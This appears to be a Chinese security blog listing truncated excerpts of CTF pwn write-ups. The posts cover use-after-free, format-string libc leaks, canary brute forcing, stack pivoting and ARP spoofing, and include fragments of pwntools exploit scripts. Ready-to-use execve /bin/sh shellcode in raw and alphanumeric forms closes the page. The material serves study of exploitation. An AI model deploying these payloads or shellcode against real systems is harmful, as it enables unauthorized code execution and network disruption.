141–基础UAF正常菜单
进入add函数,第一个堆块在1行被申请,8个字节,在22行被赋值一个printf作用的函数32位程序系统还会分配一个0x8字节的管理头,所以在这里系统每次会先分配0x10字节
然后第二个堆块是让用户输入大小在27行
接着就是del函数,这里就存在uaf漏洞,释放了堆块单数没将堆块滞空,可利用
print函数正常调用
存在后门函数
目的是将add函数中的print覆盖为后门并执行,
先申请两个堆块,此时会先申请一个上面说到的0x10的控制块,然后再申请自己设定的0x20加上0x8管理头,对齐之后为0x30字节的堆空间,这个空间内随便填入,重点是0x10的控制块,需要将这个控制块覆盖为后门函数。
随后释放这两个堆块,由于LIFO原则,chunk1的0x10控制块在chunk0的上方
Tcache bin for size 0x10排队状态:顶部[ C1 ] -> [ C0 ]底部
后面add(0x8,p(backdoor))时候,会按部就班先申请那个带有管理头0x10大小的控制块
此时c1被0x10的tcache bin中掏出来
然后执行分配0x ...
102–整数对比输入一个无符号整数数和-1进行对比
有符号整数在对比的时候会转换成无符号整数
这里-1的无符号整数位0xFFFFFFFF,对应的十进制也就是4294967295
103–memcpy跳过
第一个参数dest是栈上的缓冲区,src是一个被置空的指针,n是一个有符号整数,复制长度
1memcpy(dest, src, n);
memcpy函数,当n为0时候,复制长度为0是非法读取,会直接跳过这个拷贝,也就是dest不会被改变
而dest是这个数组首地址,
第一次输入输入0,第二次随便输入
95–格式化字符串泄露libc查保护32位
这题没有system了,只能想办法泄露libc查找了
注意泄露这里一定要是s,以printf_got为指针,打印他所指向的内容
而n是将printf_got改成某个值
1pay = p32(printf_got) + b"%6$s"
EXP1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950#!/usr/bin/env python3from pwn import *from LibcSearcher import *from base64 import *context.terminal = ['tmux', 'splitw', '-h']context(log_level='debug', arch='i386', os='linux')# p = process ...
网络安全学习
未读53–逐字节爆破先输入可输入的字节数
这里先输入200个字节
用来试canary
memcmp函数memcmp按字节顺序比较,第一个字节不匹配就立即返回。所以我们可以利用这个特性逐个字节爆破,而不需要一次性猜对完整的4字节canary。
12345678910111213141516171819202122232425262728293031323334353637383940414243from pwn import *from LibcSearcher import *context.terminal = ['tmux', 'splitw', '-h']# context(log_level='debug', arch='amd64', os='linux')# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn')# p = remote('pwn.challeng ...
PWN静态编译
mprotect函数mprotect()函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。#include <sys/mman.h>int mprotect(void *addr, size_t len, int prot);addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:1)PROT_READ:内存段可读;2)PROT_WRITE:内存段可写;3)PROT_EXEC:内存段可执行;4)PROT_NONE:内存段不可访问。返回值:0;成功,-1;失败(并且errno被设置)1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() ...
栈迁移:一种精巧的栈空间操控技术栈迁移是什么?想象一下你的程序正在执行,突然发现当前的“工作台”(栈空间)太小了,放不下需要的工具和数据。这时候,栈迁移就像是为程序搬了个新家——把执行环境整体搬迁到更宽敞的地方,无论是bss段还是栈的其他区域都可以成为新的落脚点。
为什么需要栈迁移?应用场景分析当你遇到这两种情况时,栈迁移就派上用场了:
空间严重不足:溢出的长度只够覆盖ebp,连返回地址都碰不到
刚好但不够用:虽然能覆盖返回地址,但后面的参数区域太短,payload塞不进去
简单来说,就是原来的栈空间不够发挥,需要换个场地大展拳脚。
技术核心理解关键指令栈迁移的魔法主要依靠leave;ret这个指令组合的两次精彩演出。
leave指令分解:
12mov esp, ebp ; 让栈顶指针指向当前栈底pop ebp ; 将栈顶内容弹出到ebp寄存器
这个过程相当于先确定新的工作基准点,然后更新基址指针。
ret指令作用:
1pop eip ; 将栈顶内容作为下一条指令地址
这是程序执行流的转向器,决定了接下来要去哪里。
栈迁移实战解析第一阶段:首先 ...
ARP概述地址解析协议ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含自标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息(只有目标IP才会回复信息,其他的会丢弃)以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP协议的基本功能基本功能:通过目标设备的IP地址,查询目标设备的MAC地址(物理地址),以保证通信的进行。
局限性:仅能在局域网进行。
ARP常用指令arp -a查看缓存中的所有项目
arp -a ip如果有多人网卡,那么使用arp-a加上接口的lP地址,就可以只显示与该接口相关的ARP缓存项目。
ARP断网攻击(仅供研究学习)概述ARP欺骗(英语:ARPspoofing),又称ARP毒化(ARP poisoning,网上上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改 ...
网络安全学习
未读Shellcode限制长度不可见字符版本32位(21字节):1\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64位(23字节):1\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
可见字符版本32位:1PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
64位:1Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001 ...





_%E7%88%B1%E7%BB%99%E7%BD%91_aigei_com.png)






















